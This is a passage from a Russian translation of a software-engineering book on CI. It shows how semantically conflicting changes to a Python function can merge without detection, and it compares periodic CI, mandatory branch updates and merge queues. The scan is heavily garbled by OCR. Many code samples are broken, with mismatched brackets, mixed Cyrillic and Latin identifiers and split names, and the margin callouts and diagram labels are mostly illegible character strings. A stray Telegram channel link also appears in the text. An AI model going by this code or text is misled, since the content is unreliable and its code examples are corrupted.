вызывать ее несколько раз, он считает логичным изменить принятые по умолчанию 
аргументы функции так, чтобы она возвращала показатели за последние 30 дней, 
а не за все время. Однако он делает это немного иначе, чем Ния: 

МАХ=0 

def get_d a i ly_rate s ( co i n ,  n um_days=MAX ) : 

rate_h u b  = get_rate_h u b ( coin ) 

rates = rate_hub . get_rates ( 30 if num_days==МAX else num_days ) 
ret u r n  rates 

Цзыхао также добавляет юнит-тест для своих изменений: 

def test_get_d a i ly_rates_defau lt_t h i rty_day ( s e l f ) : 

rates = get_d a i ly_rat e s ( « c at c o i n » )  

self . a s s ert E q u a l ( rat e s ,  [ 2 . 0 ) * 3 0 )  

Кто изменил функцию верно? 

Ния изменила сам аргумент по умолчанию, а Цзыхао оставил значение пара
метра по умолчанию прежним, но изменил место использования переменной 
МАХ. Изменение Нии лучше: в версии Цзыхао параметр по умолчанию дважды 
устанавливается на два разных значения, - не говоря о том, что аргумент МАХ 
больше не работает, потому что, даже если кто-то укажет его явно, алгоритм 
все равно вернет значение 30 дней. Это как раз тот случай, который желательно 
обнаружить при проверке кода. На самом деле этот пример немного притянут 
за уши, чтобы показать, что происходит, когда вносятся конфликтующие изме
нения, которые система контроля версий не в состоянии отловить. 
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И Ния, и Цзыхао изменили одну и ту же функцию, чтобы она работала по-разному, 
и уверены, что все сделали правильно. Ния рассчитывает, что функция по умол
чанию будет возвращать данные за 7 дней, а Цзыхао - что она будет возвращать 
данные за 30 дней. 

Конфликтующие изменения не всегда 
удается отловить 
Ния и Цзыхао оба изменили логику установки значения параметра по умолчанию 
в одной и той же функции, но ведь когда придет время слияния, эти конфликтующие 
изменения будут обнаружены, правда? 

К сожалению, нет! В большинстве систем контроля версий логика поиска 
конфликтов слишком проста и не учитывает фактическую семантику внесенных 
изменений. При слиянии изменений, если изменяются совершенно одинаковые 
строки, система контроля версий поймет, что что-то не так, но не сможет пойти 
дальше этого. 

Ния и Цзыхао изменили разные строки в функции get_daily_rates,  поэтому 
слияние изменения может произойти без конфликтов! Цзыхао сливает свои изме
нения первым, изменяя состояние get_daily_rates в главной ветке для реализации 
нового алгоритма установки значения по умолчанию: 

МАХ=0 

def get_daily_rates ( coin ,  num_days=МAX) : 
rate_hub = get_rate_hub ( coin ) 
rates = rate_hub . get_rates ( 30 if num_days==МAX else num_days ) 
return  rates 

Одновременно с этим Ния сливает свои изменения. Изменения Цзыхао уже находят
ся в главной ветке, поэтому ее изменения в строке, расположенной двумя строками 
выше изменений Цзыхао, также успешно сливаются, в результате чего получается 
следующая функция: 

МАХ=0 � Изменение Ниц усW1ана8ли8аеW1 значение 
def get_daily_rates ( coin ,  num_days=7 ) : 

1'\О умолчанию для apzyмeнWla. 
rate_hub = get_rate_hub( coin ) 
rates = rate_hub . get_rates ( 30 
return  rates 

if num_days==МAX else num_days ) 

"- Между WleM Цзи1хао млаzался 
на WIO, ЧWIO apzyмeнWI м умол 
чанию oyдeWI ра8ен fv1AX. 

В итоге функция Цзыхао для построения графика сливается первой и работает 
просто отлично до слияния изменений, внесенных Нией, возвращающих прежнюю 
функцию. Изменения Нии нарушают работу функции Цзыхао: теперь, когда значе-
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ние по умолчанию равно 7, а не МАХ, тройное условие Цзыхао всегда будет ложным 
(если только кто-нибудь,  вызывающий эту функцию, не вздумает явно передать 
значение МАХ), и таким образом функция по умолчанию будет возвращать данные 
только за 7 дней. Это означает, что функция Нии будет выполняться как положено, 
а функция Цзыхао теперь не работает. 

Такое действительно может произойти?  

Конечно да !  Этот пример немного надуман, поскольку более очевидным ре
шением для Цзыхао было бы также изменить значение аргумента по умолча
нию, и конфликт стал бы очевиден. Более реалистичный и частый сценарий 
включает изменения нескольких файлов, например, внесение изменений ,  
зависящих от конкретной функции, в то время как кто-то другой меняет саму 
эту функцию. 

А как же юнит-тесты? 
Ния и Цзыхао добавили юнит-тесты. Это значит, что конфликтующие изменения 
будут обнаружены? 

Если бы они оба добавили тесты в одну точку файла, система контроля версий 
распознала бы это как конфликт, поскольку они оба изменяли бы одни и те же стро
ки. К сожалению, в нашем примере тесты были добавлены в разных местах файла, 
поэтому конфликт не был выявлен. Конечным результатом слияния будет наличие 
обоих юнит-тестов: 

В юни1М-1Мtс1Ме Нии ожидае1М 
dеf test_get_daily_rates_default ( self ) : _....--- СЯ, ЧIМО фунКLjиЯ У\О умолчанию 

rates = get_daily _rates ( " c atcoin " )  ,IJ('" бернеlМ даннl:71е за 7 дней. 
self . a s sertEqua l ( rates ,  ( 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 , 2 . 0 ] ) 

def test_get_daily_rates_default_thi rty_day ( self ) : 
rates = get_daily_rates ( " c atcoin " )  
self . a s sertEqua l ( rates ,  [ 2 . 0 ] *30 )  "-- Юни1М-1Мес1М Цз1:71хао V\редУ1Олаzае1М, 

ЧIМО IМОЧНО IМаКаЯ же фуНКLjиЯ, 61:71 -
збанная с 1Мочно 1Макими же ар гумен -
IМаМи , 6ерне1М данн1:71е за 30 дней. 

Система контроля версий не смогла обнаружить конфликт, но ведь не может же 
быть так, чтобы оба теста прошли? Значит, тесты обязательно обнаружат про
блему? 
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И да и нет! Если оба теста будут запущены одновременно, один из них провалит
ся (оба пройти просто не могут, если только не произойдет что-то нестандартное). 
Но будут ли оба теста выполняться вместе? Рассмотрим временную шкалу проис
ходящего с изменениями Нии и Цзыхао и узнаем, в какой момент будут запущены 
тесты: 

CoiV\ExCoW1po.re 30.V\ycкo.eWI IOH1AW1 -W1ecW1t71 
,,..--- Ц31:71хо.о для PR, кoW1opt71e V\poxoдяWI. 

Цзыхао открывает свой PR. � 
Ния открывает свой PR . ..._ / IOнuW\ -W\eCW\1:71 для PR Huu W\О.КЖе 

,__________. 30.V\yCKO.IOW\CЯ o.6W10MO.W\1AЧeCKIA. 
Происходит слияние PR Цзыхао 
с добавлением его изменений 
в get_daily_rates и нового юнит-теста 
в главную ветку. "-
Происходит слияние PR Нии, добавление 
ее изменений в get_dai ly_rates и нового 

TecW1t71 Ц31:71хо.о V\рощлu, V\OЭW\oMy 
ОН/А не будуW\ V\peV\ЯW\CW\6060.WIP 
слuянuю его 1А3Мененu1А. 

юнит-теста в главную ветку -
поверх изменений Цзыхао. ..___.,... То же V\poucxoдuW\ с W\eCW\O.MIA Huu .  

Изменения Нии и Цзыхао находятся 
в главной ветке, включая юнит-тесты 
(которые оба не должны проходить! ) .  

Тесты запускаются автоматически для каждого PR в отдельности .  В системе 
CoinExCompare предусмотрен только запуск CI (включая тесты) для каждого PR, 
без автоматической непрерывной интеграции объединенных изменений после их 
слияния. 

Запуск на основе PR не защищает систему 
от багов 
Запуск CI на основе РR-запроса - отличный спо
соб обнаружить баги до того, как они появятся 
в главной ветке. Но как вы видели на примере Нии 
и Цзыхао, чем дольше изменения находятся в от
дельной ветке и не интегрируются в главную, тем 
больше вероятность того, что будет внесено кон
фликтующее изменение, которое может привести 
к непредсказуемым ошибкам. 

Еще один способ снизить 
такого рода риски - как 
можно быстрее интегри
ровать изменения в глав
ную ветку. Подробнее об 
этом в следующей главе. 
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Работа над изменением локально; 
повторное обновление изменения. В f'\роцессе ро.боwФI 8 zло.8ную 8eWIK!:J MOZ!:JWI 

-...._____. . б1.11W11.1 8несен1.11 друzие, неучW1енн1.11е, изменения. 

Создание коммита с изменением. Изменения в zло.8но1А веW\Ке f'\родолЖО.ЮW\ 
---__. НО.КО.f'\Ли8о.W\!.1СЯ. 

Открытие PR с коммитом. ---..--
Со Временем расхождение с zло.8но1А вeW\KOlA 
будеW\ у8еличи80.W11.1ся. 

Слияние коммита с rлавной 
веткой удаленноrо репозитория. 

-...._____. 
ПОСКОЛ!.1К!:J 8 zло.8но1А 8eW\Ke MOZ!:JWI бti/W\!.1 
изменения, KOW1op1.11e не б1.11ли инW1еzриро80.н1.11 
с но81.11м изменением, cyщecW18!:JeW1 
8ерояW1носW11.1 мя8ления но81.11х ошибок. 

Я регулярно вытягиваю изменения из главной ветки; разве это 

не решает проблему? 

Это, конечно, снижает вероятность пропустить конфликтующие изменения 
в rлавной ветке. Однако пока вы не гарантируете, что последние изменения 
подтянуты, что CI запускается непосредственно перед слиянием и что за это 
время не будут внесены другие изменения, сохраняется риск что-то пропустить, 
если осуществляется только CI на основе PR. 

1 ' ' 

',,� ВАЖНО 
Запуск CI на PR перед слиянием не гарантирует, что будут выявлены все кон
фликтующие изменения. Если они затронули одни и те же строки, система конт
роля версий может обнаружить конфликт и заставить выполнить обновление 
(и  повторный запуск CI) перед слиянием, но если изменения внесены в разные 
строки или в разные файлы, может возникнуть ситуация, когда CI перед слия
нием прошла успешно, но после слияния rлавная ветка не работает. 
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Непреры вная и нтеграция до И после сл ия н ия 
Что может сделать команда CoinExCompare, чтобы получать сигналы о том, что 
существуют конфликты, и избежать проблем с главной веткой? И Ния, и Цзыхао 
добавили тесты, покрывающие их функциональность. Если бы эти тесты были запу
щены после объединения изменений (после слияния), проблема была бы обнаружена 
сразу. CoinExCompare ставит новую цель: 

Объединять изменения с посnедней версией гnавной ветки, а затем 
запускать дnя них CI перед сnиянием. 

Что нужно сделать, чтобы достичь этой цели? У команды CoinExCompare есть не
сколько вариантов: 

1 .  Периодически запускать CI на главной ветке. 

2.  Требовать, чтобы все ветки обновлялись до слияния с главной. 

3 .  Использовать автоматизацию для слияния изменений с главной веткой и по-
вторного запуска CI перед слиянием (то есть использовать очередь слияния) . 

Далее я более подробно разберу все три варианта, а пока кратко перечислю пре
имущества и недостатки каждого из них: 

• Вариант 1 будет отлавливать ошибки, но только после того, как они будут внесе
ны в главную ветку, а значит, риск сломать главную ветку остается. 

• Вариант 2 предотвратит появление такого рода ошибок, и кроме того, он под
держивается некоторыми системами контроля версий (например, GitHub) .  Но на 
практике он может стать огромной головной болью. 

• Вариант 3, при правильной реализации, также может предотвратить появление 
этих ошибок. Как встроенная функция, он работает очень хорошо, но его до
вольно сложно реализовывать и поддерживать самостоятельно. 

Вариант 1 :  периодически й запуск CI 
Рассмотрим подробнее первый вариант. В случае с Нией и Цзыхао неприятно то, что 
проблема не была выявлена до тех пор, пока не попала на продакшен, хотя юнит
тесты могли ее обнаружить! 

В этом варианте сделан упор на простоту обнаружения нештатного случая, а не 
на предотвращение его возникновения. Но подобные баrи, вызванные взаимодей
ствием нескольких изменений, случаются не очень часто. 

Простой способ обнаружить такого рода проблемы - периодически запускать CI 
для главной ветки в дополнение к запуску на основе пул-реквеста. Это может быть 
запуск CI по ночам или чаще (например, каждый час) ,  если задачи выполняются 
достаточно быстро. Конечно, у этого способа есть недостатки: 

• Такой подход не защищает главную ветку от поломок. 

• Кому-то придется следить за периодическими тестами или, по крайней мере, 
принимать меры в случае их сбоя .  
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Если CoinExCompare решит использовать периодическую CI в качестве решения 
проблемы, как это будет выглядеть с точки зрения Нии и Цзыхао? Допустим, 
команда CoinExCompare решила запускать тесты каждый час: 

Происходит слияние PR Цзыхао с добавлением его 
изменений в get_daily_rates и нового юнит-теста 
в главную ветку. в ЭIМОМ МесlМе 

нарушае1Мся рабо1Ма 
Происходит слияние PR Нии, добавление ее zла6ной 6elМKtA. 
изменений в get_dai ly_rates и нового юнит-теста / 
в главную ветку - поверх изменений Цзыхао. ..............-

Изменения Нии и Цзыхао находятся в главной 
ветке, включая юнит-тесты. 

В течение следующего часа на текущем состоянии 
главной ветки запускается периодическая 
непрерывная интеграция (CI) .  

К.онфликlМ обнаружен; однако 
КIМО -1Мо должен у6иде1МtJ, 
ЧIМО мриодическая С/ 111ро6алена, 
0111редели1МtJ 111роблему и либо 
ус1Мрани1МtJ ее, либо 111ереда1МtJ 
информацию Нии t.t ЦзtJ1хао. 

Периодическая CI не срабатывает; юнит-тесты, 
добавленные Нией и Цзыхао, не проходят. ..------

По крайней мере, теперь проблема будет обнаружена и может быть устране
на до того,  как попадет в продакшен, но достигают ли при этом разработчики 
CoinExCompare своей цели? 

Объединять изменения с последней версией rлавной ветки, а затем 
запускать для них CI перед слиянием. 

Поскольку CI происходит после слияния, вариант 1 не соответствует поставленной 
цели. 

Вариант 1 :  настройка периодической CI  
Команда CoinExCompare решила н е  переходить на 
периодическую CI (пока) , но прежде чем присту
пить к рассмотрению других вариантов, обсудим 
вкратце, что нужно для ее настройки. До сих пор 
сайт CoinExCompare использовал GitHub Actions, 
поэтому внести изменения не составит труда. 
Допустим, разработчики собираются запускать 
пайплайн каждый час. В рабочем процессе GitHub 
Actions они могут использовать синтаксис рас
писания (schedule), включив директиву sc hedule 
в раздел активации о п :  

У периодической CI есть 
и другие преимущества, 
которые мы рассмотрим 
в этой главе чуть позже. 
Читайте дальше! 
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on : 
s c hedule : 

- c ron : . ·0 * * * * .  
Дupeкw.u6a scl-.edule в cucw.eмe ЦitHub 
ActiOV\S IACV\0Лb3yew. CIAHW.O.KCIAC вкло.дкц 
croVI для уко.зо.нця 6ременц зо.V1уско.. 

Хотя настроить периодический (вернее, «ПО расписанию») запуск несложно, сложно 
определить, что же делать с результатами. При запуске CI на основе PR, вопроса, кто 
должен предпринимать какие-то действия в случае ошибки, не возникает - решать 
проблему должен автор самого PR. И это в первую очередь в его интересах, потому 
что ему нужно, чтобы CI прошла, чтобы он мог произвести слияние. 

При использовании периодической CI ответственность гораздо более размыта. 
Чтобы CI прошла с пользой, кто-то должен получать уведомления о сбоях и ис
правлять ошибки. Уведомления можно настроить с помощью списка рассылки 
или создания панели инструментов; сложнее найти ответственного за решение 
проблемы. 

В таких случаях обычно устанавливают ротацию (подобно рабочим дежурствам) 
и распределяют ответственность между членами команды. При наступлении сбоя 
разработчик, который в этот момент является ответственным, должен назначить 
проблеме приоритет и решить ее соответствующим образом. 

Если периодическая CI часто завершается сбоем, 
постоянные исправления заметно снижают продук
тивность разработчиков, вынужденных этим зани
маться. Кроме того,  это подрывает моральный дух 
команды. Поэтому для обеспечения надежности CI, 
чтобы сбои не стали обычным делом, (еще более) важ-
но работать совместно. 

' -�� ВАЖНО 

Способы исправле
ния нестабильной CI 
см. в главе 5. 

Периодический запуск CI способен выявить (но не предотвратить) описанный 
класс багов. Хотя настроить и запустить систему очень просто, но чтобы она 
была эффективной, кто-то должен отслеживать регулярные тесты и реагировать 
на сбои. 
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Вариант 2: постоянное обновление веток 
Вариант 1 позволит обнаружить проблему, но не предотвратит ее появление. В ва
рианте 2 проблема гарантированно не возникнет, поскольку при обновлении глав
ной ветки потребуется обновить добавляемую ветку перед слиянием - и при ее 
обновлении сработает CI. 

Решило бы это проблему Нии и Цзыхао? Посмотрим, что бы произошло. 

Цзыхао открывает свой PR. К---- Юнцw. -w.ecw."' Цз,,,хао ЗаV\ускаюw.ся ц 11\роходяw.. 

Ния открывает свой PR. � Юнцw.-w.есw."' Нцц w.акже 11\роходяw.. 

Происходит слияние PR Цзыхао с добавлением 
его изменений в get_daily_rates и нового� 
юнит-теста в главную ветку. 

Изменения Цз,,,хао добавляюw.ся 
в главную веw.ку. 

В главной ветке произошли изменения с тех пор, 
как Ния создала ветку со своими изменениями, 
поэтому она вынуждена обновить свою ветку 
с учетом этих изменений. � 
Ния должна исправить конфликтующие изменения, 
чтобы CI прошла и она смогла выполнить слияние. 

PR Ниц w.eli\ep" содержиw. 
комбина�цю ее изменений 
ц изменений Цз,,,хао ,  включая 
оба юнцw.-w.есw.а. Обновленце 
ее веw.кц 11\риведеw. к заV\уску 
w.ecw.oв, ц w.ecw. Цз,,,хао 
завершиw.ся 11\ровалом. 

Как только Цзыхао произведет слияние, Ния не сможет производить слияния, пока 
не подтянет последнюю версию главной ветки, включая изменения Цзыхао. Это сно
ва запустит CI, что, в свою очередь, приведет к запуску юнит-тестов Нии и Цзыхао. 
Тест Цзыхао завершится с ошибкой, и проблема будет обнаружена! 

Однако эта стратегия сопряжена с дополнительными издержками: при каждом 
обновлении главной ветки необходимо обновлять и все PR для веток, которые не 
содержат этих изменений. В случае Нии и Цзыхао это важно, потому что их изме
нения конфликтуют, но это необходимо делать всегда, независимо от того, важно 
ли вытягивать изменения. 

Можно ли автоматизировать обновление всех веток? 

Автоматизировать обновление всех веток можно (и это неплохая дополнитель
ная функциональность для систем контроля версий) .  Однако помните, что для 
распределенных систем контроля версий, таких как Git, ветка, поддерживающая 
PR, является копией ветки, которую разработчик редактировал на своей машине. 
Таким образом, разработчику придется вытягивать любые автоматически добав
ленные изменения, необходимые для продолжения работы, - это некритично, 
но создает дополнительные сложности. Кроме того, с такой автоматизацией 
процессов мы уже приближаемся к варианту 3. 
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Вариант 2: какой ценой ?  
Обновляя сливаемую ветку в соответствии с изменениями в главной ветке перед 
слиянием, можно решить проблему Нии и Цзыхао, но такой подход затронет каж
дый PR и каждого разработчика. Стоит ли игра свеч? Посмотрим, как эта стратегия 
повлияет на несколько PR: 

Открыт PR № 45. 

Открыт PR № 46. 

Открыт PR № 47. 

Выполняется слияние для PR № 45, происходит обновление главной ветки. 

Главная ветка обновлена, поэтому слияние PR № 46 и № 47 
заблокировано до их обновления. 

Открыт PR № 48. 

Для PR № 46 проведено обновление, а затем слияние. 

Главная ветка снова обновилась, теперь PR № 48 тоже заблокирован 
до своего обновления, а PR № 47 продолжает блокироваться измене
ниями, произведенными PR № 45, а теперь и PR № 46. 

Каждое слияние PR влияет (и блокирует) на все дру
гие открытые PR! В компании CoinExCompare около 
50 разработчиков, и каждый из них сливает свои из
менения в главную ветку ежедневно или почти каж
дый день. Следовательно, в день происходит около 
20-25 слияний с главной веткой. 

См. главу 8, чтобы по-
нять, почему полезно 
так часто проводить 
слияние. 

Представьте, что в любой момент времени открыто 20 PR, и авторы этих пул
реквестов пытаются произвести их слияние после открытия в течение целого дня. 
После слияния один PR блокирует остальные 19 до тех пор, пока они не будут об
новлены с учетом последних изменений. 

Вариант 2 гарантирует, что CI всегда будет работать с последними изменениями, 
но цена этому - множество утомительных обновлений всех открытых PR. В худшем 
случае разработчики будут постоянно гнаться за тем, чтобы успеть слить свой PR 
раньше, чем его заблокируют чужие изменения. 

' ,. :
, 

,
' 
- ВАЖНО ' ' 

Требование обновлять ветку перед слиянием предотвращает возникновение 
конфликтующих изменений, но этот подход оптимален, если над кодом работает 
всего несколько человек. В противном случае он нецелесообразен. 
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Вариант 3 : а втоматическое сл иян ие силами CI  
Команда CoinExCompare решает, что дополнительные издержки и неудобства, свя
занные с требованием постоянно обновлять ветки перед слиянием, не стоят полу
ченной выгоды. Что еще может сделать команда? 

При текущей настройке системы CoinExCompare тесты запускаются для PR Нии 
и Цзыхао перед слиянием. Эти тесты запускаются снова, если что-то в этих PR ме
няется. Это прекрасно работало для изменений, сделанных Цзыхао, но не позволяло 
обнаруживать проблемы,  возникающие в изменениях Нии. Если перед слиянием 
запускать еще раз только CI Нии и включать в нее последние изменения из главной 
ветки при выполнении тестов, то проблема будет обнаружена. 

Итак, возможное решение - автоматизировать запуск финальной CI перед сли
янием, для изменений, слитых с последним вариантом кода из главной ветки. Для 
этого нужно сделать следующее: 

1 .  Перед слиянием запустите CI снова, даже если она уже успешно прошла, включая 
последнее состояние главной ветки (даже если сама ветка не обновлялась) .  

2 .  Если главная ветка изменилась во время этого финального запуска, запустите 
CI снова. Повторяйте запуски до тех пор, пока CI не будет успешно выполнена 
именно с тем состоянием главной ветки, с которым вы будете производить 
слияние. 

Что произошло бы с изменениями Нии и Цзыхао, если бы они использовали такую 
автоматизацию? 

ЮниW\ -W\еСW\1'1 Цзv1хао 
Цзыхао открывает свой PR. _.,,. ____ заVtускаЮW\СЯ и VtpOXOOЯW\. 

Ния открывает свой PR. ,,,,,..---- ЮниW\ -W\есW\1'1 Нии W\акже VtpoxoOЯW\. 
Изменения Цзv1хао 

Происходит слияние PR Цзыхао с добавлением его изменений добабЛЯЮW\СЯ 
в get_daily_rates и нового юнит-теста в главную ветку. � 6 zлабную бeW\K!:j. 

Ния производит слияние своего PR, инициируя ЮниW\ -МеСW\1'1 не V\pOXOOЯW\, 
последний запуск CI, который вытягивает обновле- и конфлиКW\ обнаружен. 
ния Цзыхао в главную ветку. � 

Ния должна исправить конфликтующие изменения, 
чтобы CI прошла и она смогла выполнить слияние. 

Если CI вытянет последнюю версию главной ветки (с изменениями Цзыхао) и за
пустится еще раз, прежде чем Ния произведет слияние, конфликтующие изменения 
будут обнаружены и не попадут в главную ветку. 

Книги для программистов: https://t.me/booksforits



Вариант З :  запуск CI с последней версией главной ветки 189 

Вариант 3 : за пуск CI с последней версией 
главной ветки 
Теоретически имеет смысл запустить CI перед слиянием с последней версией глав
ной ветки и убедиться, что в нее нельзя внести изменения без повторного запуска 
CI, но как это сделать? Можно разбить элементы на более мелкие части. Итак, нам 
нужно следующее: 

• Механизм объединения сливаемой ветки с последними изменениями в главной 
ветке, который подходит для CI. 

• Механизм, запускающий CI перед слиянием и блокирующий слияние до тех пор, 
пока CI не пройдет успешно. 

• Способ обнаруживать обновления в главной ветке (и инициировать повторный 
запуск CI перед слиянием) или блокировать внесение изменений в главную ветку 
в то время, когда CI перед слиянием запущена. 

Как объединить сливаемую ветку с последними изменениями в главной ветке? Один 
из способов - сделать это самостоятельно с помощью задач CI, вытянув главную 
ветку и выполнив слияние. 

Но часто это не нужно, потому что некоторые системы контроля версий вы -
полняют эту работу самостоятельно. Например, когда GitHub запускает события 
веб-хука (или при использовании GitHub Actions) , GitHub предоставляет коммит 
слияния (объединенный коммит) для повторного тестирования: он создает коммит, 
в котором РR-изменения уже слиты в главную ветку. 

r - - - - - - - - - •  Для PR-coб1:>1W11Au ЦitH1Ab а6W10МаW11Аческ1А 
создаеWI 6eWIKY с IАЗМенеНIАЯМIА, 
CЛIAW\/:>IMIA 6 zлабную. 1 

Ветка : 
: PR : 
1 .-----......... . - - - - - - - - - · 
l - - - - - - - - - �  : Ветка : 

1 1 · - - - - - - - - - · 1 слияния 1 1 1 1 1 
: Главная : __.я : PR : 1 1 · - - - - - - - - - ·  

ветка 

ЦITHUB_5HA в COO/:>IW\IAIA 
будеWI яблЯWl/:>СЯ 
для 6eWIKIA СЛIАЯНIАЯ 
элеменW10М HEAD 
(акW1уал1:>Н!:>IМ KOMMIAWIOM). 

Использование 
коммита слияния 
для всех CI, ини
циированных PR, 
повысит вероят
ность обнару
жения скрытых 
конфликтов. 

Пока задачи получают этот коммит слияния (предоставляемый как GIТHUB_SHA 
в инициирующем событии) ,  пункт ( 1 )  можно считать выполненным! 

Вариант 3 (автоматическое слияние CI) представляет собой измененный 
вариант 2 .  Вариант 2 требует обновлять ветки перед слиянием, а вариант 3 
обеспечивает актуальность веток при запуске CI благодаря автоматизации 
обновления ветки до текущего состояния перед запуском CI вместо блоки
ровки и ожидания, пока автор обновит свой PR с последними изменениями. 
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Вариант 3: события слиян ия 
Итак, у нас есть первый требуемый компонент. Но нам 
по-прежнему необходимо следующее: 

• Механизм, запускающий CI перед слиянием и бло
кирующий слияние до тех пор, пока CI не пройдет 
успешно. 

• Способ обнаруживать .  обновления в главной ветке 
(и инициировать повторный запуск CI перед слияни
ем) или блокировать внесение изменений в главную 
ветку в то время, когда CI перед слиянием запущена. 

В GitHub запуск при 
слиянии устроен 
ДОВОЛЬНО хитро: 
эквивалентом собы
тия слияния явля
ется событие pull_ 
request с действием 
типа close,  когда 
поле merged в полез
ных данных имеет 
значение true.  Не 

Большинство систем контроля версий позволяют запу- так-то просто! 
екать CI в качестве реакции на определенные события, 
такие как открытие PR, его обновление или, в данном 
случае, его слияние, так называемое событие слияния (merge event) .  Если вы запускаете 
CI в ответ на событие слияния, вы получите уведомление, когда произойдет слияние, 
и сможете перезапустить CI в ответ. Однако это не совсем то, что нужно: 

• Событие слияния будет срабатывать после того, как произойдет слияние (после 
того, как PR будет слит обратно в главную ветку), поэтому если проблема будет 
обнаружена, она уже попадет в главную ветку. Да, вы будете знать об этом, но 
главная ветка будет сломана. 

• Не существует механизма, гарантирующего, что изменения в главной ветке, про
изошедшие во время выполнения автоматизации, вызовут повторный запуск CI, 
поэтому конфликты все равно могут остаться незамеченными. 

Посмотрим, как это будет выглядеть для сценария Нии и Цзыхао. 

Происходит слияние PR Цзыхао с добавлением 
его изменений в get_daily_rates  и нового 
юнит-теста в главную ветку. 

Слияние Цзыхао инициирует повторный запуск CI 
для его изменений вместе с последней версией 
главной ветки. 

Происходит слияние PR Нии, добавление 
ее изменений в get_daily_rates и нового 

СможеW\ ли С/ ооно.ружиW11J 
конфликWI, зо.бисиW\ OW\ бремени 
ее зо.1'\уско. :  С/ для слияния Нии 
можеW\ 30.1'\!:JCWlиW\/JCЯ, когда С/ 
для Ц3/JIXO.O еще po.OOW\O.eW\, 
6 ЭW\ОМ случае изменения Цз1J1хо.о 
еще не оудуW\ но.ходиW\/JСЯ 
6 гло.бноiА беW1ке и С/ для слияния 
Нии не 61J1ябиW1 "роолему. 

юнит-теста в главную ветку. ./ 
Слияние Нии инициирует повторный запуск С! для ее .,-- Незо.бисимо OW\ W\OZO, 
изменений вместе с последней версией главной ветки. ооно.руЖиW\ ли о.бW\ОМО.W\и -

ческиiА зо.1'\уск С/ "роолему, 
Изменения Нии и Цзыхао находятся в главной ветке. ..._- гло.бно.я беW\КО. сломано.. 

Увы, запуск CI при слияниях не принесет желаемого результата. Он повысит вероят
ность обнаружения конфликтов, но они уже будут в главной ветке, а во время работы 
автоматического процесса могут добавляться и новые конфликтующие изменения. 
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Ва риант 3: очереди слияний 
Если срабатывание на событие слияния не дает результата, что еще можно сделать? 
Чтобы добиться цели, нам необходимо следующее: 

• Механизм объединения сливаемой ветки с последними изменениями в главной 
ветке, который подходит для CI. 

• Механизм, запускающий CI перед слиянием и блокирующий слияние до тех пор, 
пока CI не пройдет успешно. 

• Способ обнаруживать обновления в главной ветке (и инициировать повторный 
запуск CI перед слиянием) или блокировать внесение изменений в главную ветку 
в то время, когда CI перед слиянием запущена. 

Мы выполнили первое требование, но не нашли подходящего решения для двух других. 
На самом деле секрет кроется в создании автоматической CI, которая будет полностью 
отвечать за слияние РR-запросов. Подобную автомати-
зацию часто называют очередью слияния (merge queque) 
или цепочкой слияний (merge train); слияние никогда не 
выполняется вручную, только автоматически, что обес
печивает выполнение двух последних требований. 

Вы можете создать очередь слияния самостоятель
но, но к счастью, это не обязательно! Многие системы 
контроля версий теперь содержат встроенную функцию 
очереди слияния. 

Очереди слияния, как следует из названия, управ-

В приложении В 
рассматриваются 
такие функции, как 
очереди слияния 
и запуск на основе 
событий в системах 
контроля версий. 

ляют очередностью PR, готовых к слиянию (например, если они уже прошли все 
необходимые CI) :  

• Каждый подходящий PR добавляется в очередь слияния. 
• Для каждого PR в порядке очереди слияния создается временная ветка, которая 

сливает изменения в главную ветку (применяя логику, которую GitHub использу
ет для создания коммита слияния (или объединенного коммита) ,  передаваемого 
в события PR). 

• Очередь слияния запускает обязательную CI на временной ветке. 
• Если CI проходит, очередь слияния продолжит работу и выполнит слияние. Если 

нет, то слияния не будет. В это время слияние других запросов невозможно, по
скольку все они должны пройти через очередь слияния. 

Для очень загруженных репозиториев некоторые очереди слияния оптимизиру
ются путем пакетной обработки пул-реквестов для последующего слияния и за
пуска CI. Если CI не проходит, можно использовать такой подход, как бинарный 
поиск, чтобы быстро выявить неисправные PR: например, разделить пакет на две 
rруппы, повторно запустить CI для каждой из них и повторять этот процесс до тех 
пор, пока не обнаружится, какой PR (или несколько) вызвал сбой CI. Учитывая, 
насколько редки конфликты после слияния, эта оптимизация может сэкономить 
много времени, если несколько PR долго ожидают слияния в очереди. 
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Вариант 3 : очередь сл ияния для Coin ExCom pare 
Посмотрим, как очередь слияния будет работать в случае конфликта изменений 
Нии и Цзыхао: 

PR Цзыхао готов к слиянию. 

PR Цзыхао добавляется в очередь слияния. 

Очередь слияния создает новую ветку с копией главной ветки, 
производит слияние изменений Цзыхао и запускает CI. 

PR Нии готов к слиянию. 

PR Нии добавляется в очередь слияния. 

Очередь слияния выполняет CI для PR Цзыха� 
поэтому PR Нии придется подождать. ...--

PR Цзыхао проходит, и очередь слияния 
вносит его изменения в главную ветку. 

Даже есЛIА V\OV\t>IWIKIA Ц31'1Хао 
1А HIAl-t 81'11'\0ЛHIAWIP СЛIАЯНIАе 
наклад1J18аюW1ся друг 
на друга, очередtJ СЛIАЯНIАЯ 
СV\ра8ляеWIСЯ с COCWIOЯHIAeM 
гонкlА 1А V\peдoW18paщaeW1 
8озн1Акно8ен1Ае конфл1АКW108. 

Пришел черед Нии: очередь слияния создает новую ветку с копией 
главной ветки (включая недавно слитые изменения Цзыхао),  К.онфлiАКWI б1J1л V\OIAMaн 
сливает ее с изменениями Нии и запускает CI. ранtJще 1А не V\OV\aЛ 

в главную 8еW1ку! 
CI проваливается, и Ниа должна разобраться с конфликтующими 
изменениями, прежде чем сможет произвести слияние своего PR. ...-/ 

� Создание очереди слияния 
Создать очередь слияния самостоятельно можно, но это требует много усилий. 
На высоком уровне потребуется сделать следующее: создать систему, которая 
имеет информацию о статусе всех находящихся активных PR; заблокировать 
все PR для слияния (например, с помощью правил защиты веток) , пока систе
ма не даст зеленый свет; добиться, чтобы эта система выбирала PR, готовые 
к слиянию, сливала их с главной веткой и запускала CI, и наконец, чтобы эта 
система выполняла фактическое слияние. В такой сложной процедуре велика 
вероятность возникновения ошибок, но если гарантировать отсутствие кон
фликтов абсолютно необходимо, а система контроля версий не поддерживает 
очереди слияния, то усилия оправданны. 

',ф� ВАЖНО 
Очереди слияния предотвращают появление конфликтов, управляя слиянием 
и обеспечивая запуск CI для комбинации сливаемых изменений и последнего 
состояния главной ветки. Многие системы контроля версий предоставляют 
такую функциональность, что радует, поскольку создать подобную систему само
стоятельно довольно сложно. 
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а Ваш ход: сопоставьте варианты с их недостатками 
Вернемся к трем вариантам обнаружения конфликтов слияния: 

1. Периодически запускать CI. 

2 .  Требовать, чтобы все ветки обновлялись в соответствии с последними 
изменениями. 

